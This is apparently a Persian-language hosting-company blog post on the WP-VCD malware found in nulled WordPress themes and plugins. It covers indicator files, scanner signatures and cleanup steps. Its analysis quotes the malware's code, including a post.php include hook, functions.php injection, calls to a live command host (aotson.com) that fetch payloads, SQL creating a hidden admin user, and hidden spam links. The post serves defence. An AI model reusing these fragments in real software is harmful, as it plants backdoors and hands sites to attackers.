درود فراوان. در طی یکسال گذشته آرشیو نصب ورژن نال شده بسیاری از افزونه ها و پوسته های تجاری وردپرس پس از دستکاری و آلوده سازی به بدافزار WP-VCD توسط هکرها در شبکه اینترنت پخش شده و برای دانلود رایگان در اختیار عموم قرار گرفته است. پس از نصب این افزونه/پوستهها بر روی وردپرس، کدهای مخرب این بدافزار بر روی وردپرس اجرا شده و برخی از فایلهای وردپرس را به کدهای بکدور آلوده کرده و منابع سایت آلوده شده توسط هکرها برای انجام فعالیتهای مخرب مورد سواستفاده قرار می گیرد. در این قسمت، به بررسی انواع بدافزارها و شیوع بدافزار WP-VCD در سایتهای وردپرسی خواهیم پرداخت.
شیوع بدافزار WP-VCD در سایتهای وردپرسی
از مشکلات عمده جامعه وردپرس فارسی اینه که محصولات افزونه و قالب وردپرس که به صورت نال شده و غیر اورجینال تهیه شده و در اختیار کسانی که به دنبال خرید قالب و افزونه هستند قرار گرفته است. اما مشکل بزرگتر درست وقتی رخ میده که از یک طرف به دلیل تحریم و از طرف دیگه به علت افزایش هزینه برای خرید این محصولات خیلی از افراد از خیر خرید مستقیم از سایتهایی مثل انوانتو گذشته و از مارکتها و فروشگاههای ایرانی که هیچ تضمینی در اصالت محصولات وجود نداره خرید خود را انجام میدهند. ماجرا وقتی بدتر می شود که اکثر این محصولات حتی در مارکتهایی بزرگ و معتبر هم به صورت اصل تهیه نشدند و از طریق سایتهایی که این محصولات را منتشر میکنند دانلود شده و پس از راست چین کردن و فارسی سازی با قیمت بسیار کمتری از محصول در فروشگاه انوانتو در اختیار کاربران قرار میگیرند.
همین مسئله باعث به وجود اومدن بدافزارهای و شیوع اونها در سایتهای وردپرسی میشه که همه ساله با گزارشهای مختلفی از هک سایتهای وردپرسی مواجه میشیم. اما به جای اینکه به خودمون رجوع کنیم و پی به علت ماجرا که استفاده از محصولات نال شده است ببریم، به دنبال مقصر گذشته و تقصیرات را به گردن فروشندگان و مارکتهایی که این محصولات را خریداری کردیم میندازیم. البته درسته که کاری که اونها انجام میدن هم به مراتب بدتر هم هست و بی تقصیر هم نیستند.
برخی از فعالیت های مخرب این بدافزار به شرح زیر است:
- ایجاد یک کاربر با دسترسی ادمین در وردپرس قربانی
- تزریق لینکهای مخرب در فوتر وردپرس. از طریق این لینکها، سایت قربانی جهت انجام فعالیتهای مخرب مانند سئوی کلاه سیاه، انتشار بدافزارهای مخرب و تبلیغات اسپم مورد سواستفاده قرار گرفته که این فعالیتها در نهایت مشکلات جدی برای سایت قربانی ایجاد می کنند. در مواردی مشاهده شده که سایت میزبان در لیست سیاه گوگل قرار گرفته و بازدید کنندگان در هنگام ورود به سایت با پیام هشدار مخرب بودن محتوای منتشر شده بر روی آن سایت مواجه میشوند.
- بخشی از کد این بدافزار در فایل functions.php تمامی پوسته های نصب شده بر روی وردپرس تزریق میشود. کد تزریق شده در این فایلها امکان کنترل و بروز رسانی این بدافزار بر روی سایت قربانی را در اختیار هکرها قرار میدهد. در برخی از ورژنهای این بدافزار کد اینجکت شده در فایل functions.php امکان دستکاری و جایگزین محتوای پستهای منتشر شده در وردپرس را نیز ایجاد میکنند.
- این بدافزار فایل های حاوی کدهای مخرب متعددی را به شاخه wp-includes وردپرس اضافه می کند. لیست این فایلها به شرح زیر است:
wp-includes/class.wp.php wp-includes/wp-cd.php wp-includes/wp-vcd.php wp-includes/wp-tmp.php wp-includes/wp-feed.php
نمونههای متعدد از ثبت گزارش قربانیان این بدافزار در پشتیبانی وردپرس در آدرسهای زیر قابل مشاهده است:
Warnings: * Unknown file in WordPress core: wp-includes/wp-tmp.php
wp-feed.php
Why keep Waring: Unknown file in WordPress core: wp-includes/class.wp.php
/tmp/theme_temp_setup what is this
Ad Malware on our site but can’t remove!
Problem with malware rogueads.unwanted_ads?1
unknown ad popups on my wp website
پس از شناسایی این بدافزار در سال گذشته شناسههای متعددی از این بدافزار را استخراج و به دیتابیس نرم افزار اسکنر مورد استفاده بر روی سرورهای این شرکت اضافه نموده است تا از آپلود و نصب سهوی این بدافزار توسط کاربران خود جلوگیری کند. چنانچه کاربر در هنگام آپلود یک آرشیو بر روی سرویس میزبانی وب خود پیام هشدار آلوده بودن آرشیو به یک بدافزار با یکی از شناسههای زیر را دریافت کند این موضوع به این معنی است که آرشیو آپلود شده به بدافزار مخرب WP-VCD یا اثرات باقی مانده از فعالیت آن آلوده می باشد:
NCSD/L.PhpTrojan.WPBackdoor-2 NCSD/L.PhpTrojan.WPBackdoor-3 NCSD/L.PhpTrojan.WPBackdoor-4 NCSD/L.PhpTrojan.WPBackdoor-5 NCSD/L.PhpTrojan.WPBackdoor-6 NCSD/L.PhpTrojan.WPBackdoor-7 NCSD/L.PhpTrojan.WPBackdoor-8 NCSD/L.PhpTrojan.WPBackdoor-9 NCSD/H.PhpTrojan.PureErrorReporting NCSD/L.PhpTrojan.WP-VCD.Malware-2 NCSD/L.PhpTrojan.WP-VCD.Malware-3 NCSD/L.PhpTrojan.WP-VCD.Malware-4 NCSD/L.PhpTrojan.WP-VCD.Malware-5 NCSD/L.PhpTrojan.WP-VCD.Malware-6 NCSD/L.PhpTrojan.WP-VCD.Malware-7 NCSD/L.PhpTrojan.WP-VCD.Malware-8 NCSD/L.PhpTrojan.WP-VCD.Malware-9 NCSD/H.PhpTrojan.WP-VCD.Malware.ErrorReporting
نحوه شیوع بدافزار WP-VCD و کارکرد آن روی سایت
اولین کاری که توسط این بدافزار اعمال میشه با اضافه شدن قطعه کد زیر در فایل post.php که در داخل پوشه wp-includes قرار داره انجام خواهد گرفت.
<?php if (file_exists(dirname(__FILE__) . '/wp-vcd.php')) include_once(dirname(__FILE__) . '/wp-vcd.php'); ?><?php /** 2 /** * Core Post API
همونطور که میبینید در قدم بعدی با اضافه شدن این کد فایلی با نام wp-vcd.php به همین دایرکتوری اضافه میشه که به صورت base64 کدگذاری شده و با نام $install_code شروع به نصب برخی کد در فایلها خواهد کرد.
$install_code = 'PD9waHANCg0KaWYgKGlzc2V0KCRfUkVRVUVTVFsnYWN0aW9uJ10pIC[...] $install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT); $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
کاری که کد بالا انجام میدهد این است که کدهای زیر را به فایل فانکشن قالب وردپرس اضافه خواهد کرد.
if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php')){ if (strpos($content, 'WP_V_CD') === false){ $content = $install_code . $content ; @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content); touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time ); } else { $ping = false; } }
سپس از راه دور فایلی با نام o.php را فراخوانی کرده و یک فایل متنی با نام class.wp.php را در پوشه wp-includes قالب قرار خواهد داد. که در کدهای زیر نمونهای از آن را میبینید.
$content = @file_get_contents('http://www.aotson.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash); @file_put_contents(ABSPATH . '/wp-includes/class.wp.php', file_get_contents('http://www.aotson.com/admin.txt'));
حالا که کدهای فایل class.wp.php اضافه شدند. شامل کدهای زیر هستند که با استفاده از زبان php و کنترل دیتابیس کاری که انجام میدن اینه که یک یوزر با نام کاربری 100010010 در وردپرس اضافه خواهند کرد و نقش کاربری مدیرکل را به آن خواهند داد.
$wpdb->query("INSERT INTO $wpdb->users (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES ('100010010', '100010010', '\$P\$BaRp7gFRTND5AwwJwpQY8EyN3otDiL.', '100010010', '[email protected]', '', '2011-06-07 00:00:00', '', '0', '100010010');");
سپس با استفاده از کلید واژه API Toolkit Envato Market احتمالا درخواست یک بهروزرسانی برای قالب یا افزونه نمایش داده خواهد شد.
if( isset($_GET['key']) ) { $options = get_option( EWPT_PLUGIN_SLUG ); echo '<center><h2>' . esc_attr( $options['user_name'] . ':' . esc_attr( $options['api_key'])) . '<br>'; echo esc_html( envato_market()->get_option( 'token' ) ); echo '</center></h2>'; }}
بعد از این مرحله مجددا از راه دور محتویات فایل codecxc.txt به صورت موقت داخل دایرکتوری php تزریق خواهند شد که کدهای زیر در آن قرار دارند.
$tmpfname = tempnam(sys_get_temp_dir(), "wp_temp_setupx"); $handle = fopen($tmpfname, "w+"); fwrite($handle, "<?php\n" . $phpCode);
از آنجایی که کدهای مخرب معمولا در قالبهای پرطرفدار تزریق شده است در برخی قالبها که سایتهای افراد قربانی از این طریق به بدافزار wp-vcd آلوده شدند کدهای زیر قرار داشتند.
//$exec=exec('mv /var/sites/e/exchange.stirlingworx.tech/public_html/wp-content/themes/Gridlove/gridlove/functions.php'); //file_put_contents('/home/hoefsmederijvanr/public_html/wp-content/themes/betheme/functions.php', $file);
حالا از همین طریق مجددا با استفاده از تزریق کدهایی در فانکشن قالب این بار سعی میشه تا در دیتابیس دست برده بشه و ساختار کلی دیتابیس برای جایگزینی لینکها و هر نوع محتوایی تغییر خواهند یافت که در زیر نمونهای از اونو میبینید که ازش برای تغییر جدول post که مربوط به نوشتهها هست استفاده شده است.
foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data) [...] $post_content = preg_replace('!<div id="'.$div_code_name.'">(.*?)</div>!s', '', $data -> post_content); [...] $file = preg_replace('/'.$matcholddiv[1][0].'/i',$_REQUEST['newdiv'], $file); [...] $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file); if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"'))
با استفاده از محتوای html که در کدهای بالا قرار داره فایلی با نام code1.php از راه دور کدهایی مجددا به فایل فانکشن قالب اضافه شده و شروع به اضافه کردن فایل دیگری با نام wp-tmp.php در پوشه wp-includes خواهد کرد که محتویات زیر در این فایل قرار دارند.
if ( ! function_exists( 'wp_temp_setup' ) ) { $path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI]; if($tmpcontent = @file_get_contents("http://www.aotson.com/code1.php?i=".$path))
که در نهایت بعد از اجرای این کدها هم کدهای html زیر به سایت اضافه خواهند شد.
<style>.crdtsp{position:absolute;left:-1000px;}</style> <div class="crdtsp"> <a href="https://www.downloadfreethemes.download/">downloadfreethemes</a></div>
اگر بخشی از کدهای فوق را در گوگل جستجو کنید با نتایج زیر برخورد خواهید کرد که نشان از شیوع گسترده این بدافزار در بسیاری از سایتها وردپرسی دارد.
اما مسئله به قدری بزرگ و فراگیر هست که کار به همینجا ختم نشده و با تزریق کدهای دیگر در بخشهای مختلف سایت انواع فایل و کارهای خرابکارانه دیگه روی سایت صورت میگیره که تا به امروز این موارد بررسی شدند. که باید برای اطمینان خاطر از شیوع این بدافزار ابتدا پوشه wp-includes وردپرس خودتون را بررسی کرده و ببینید که کدوم یکی از فایلهای زیر در اون قرار دارند.
class.wp.php wp-cd.php wp-vcd.php wp-tmp.php wp-feed.php
اگر هر یک از فایلهای بالا در پوشه قرار داشتند باید از شیوع بدافزار wp-vcd در سایت خودتون مطمئن بشید و سریعا در اولین اقدام شروع به رفع مشکلات بکنید تا قبل از اینکه تاثیرات بیشتری از اون را در سایت ببینید.
حل مشکل بدافزار WP-VCD در سایتهای وردپرسی
بعد از اطمینان از این موضوع در اولین اقدام باید به مسیر افزونهها در پیشخوان وردپرس رفته و کلیه افزونههای سایت خودتون را که غیر از مخزن وردپرس دانلود و نصب کردید غیرفعال کنید. سپس به مسیر نمایش در پیشخوان وردپرس رفته و یکی از قالبهای پیشفرض وردپرس را به عنوان پوسته قالب خودتون انتخاب کنید. سپس از بخش کاربران در وردپرس کلیه اعضایی که نقش کاربری مدیر کل دارند را بررسی کنید و اطلاعات هر کاربر را هم چک کنید. اگر کاربری با نام 100010010 یا هر کاربری که مشکوک به نظر میاد مشاهده کردید نقش کاربری وی را از مدیر کل به مشترک تغییر داده و یا اینکه حذف کنید.
سپس با استفاده از ابزار اسکن امنیتی موجود در هاست خودتون کل سایت را از نظر امنیتی اسکن و بررسی کنید تا موارد مشکوک را برطرف کنید. در صورتی که با نحوه کارکرد این ابزار آشنایی ندارید میتونید با ارسال تیکت برای میزبانی هاست خودتون مشکل را مطرح کنید تا به کمک هاستینگ بررسی دقیق و کاملتری روی سایت شما از نظر امنیتی و رفع مشکل بدافزار صورت بگیرد.
در مرحله بعدی به آدرس fa.wordpress.org مراجعه کرده و آخرین نسخه وردپرس را از این آدرس دانلود کنید. سپس از داخل فایل zip دانلود شده پوشه wp-content و فایل wp-config.php را حذف کنید. حالا فایل زیپ را در مسیری که وردپرس را نصب کردید آپلود کرده و کلیه محتویات را به غیر از دو مورد ذکر شده جایگزین کنید تا فایلهای مخرب از پوشه wp-includes حذف شوند.
در مرحله بعدی به مسیر تنظیمات> پیوندهای یکتا در پیشخوان وردپرس مراجعه کرده و یک بار روی دکمه ذخیره تغییرات کلیک کنید تا فایل htaccess. وردپرس هم آپدیت بشه تا اگر احیانا از طریق این فایل هم کاری صورت گرفته اصلاح شود. علاوه بر این کلیه پوشههای موجود در پوشه wp-contnet را هم بررسی کنید و هر فایل مشکوکی را که بررسی کرده و با نسخه اصلی جایگزین کنید.
حالا به phpmyadmin مراجعه کرده و با بررسی کل دیتابیس باید به دنبال این باشید که آیا تغییراتی در دیتابیس ایجاد شده است یا خیر. برای این موضوع باید از یک فرد متخصص کمک بگیرید تا دیتابیس را به درستی بررسی کنه. بیشترین سهم تغییرات در دیتابیس وردپرس توسط این بدافزار مربوط به جدول wp_posts است که نوشتهها در آن قرار دارند و با هدف تغییر در نوشته و وارد کردن لینک و محتوای اسپم مورد استفاده قرار میگیرد.
توجه داشته باشید در تمامی مراجل از دیتابیس خود بک اپ تهیه کرده باشید.
امیدوارم در برابر شیوع بدافزار WP-VCD در سایتهای وردپرسی اطلاعات لازم را کسب کرده باشید. در صورت وجود هرگونه سوال و ابهام با ما در میان بگذارید. بدرود.
یک نظر! شما نظری ندارید؟!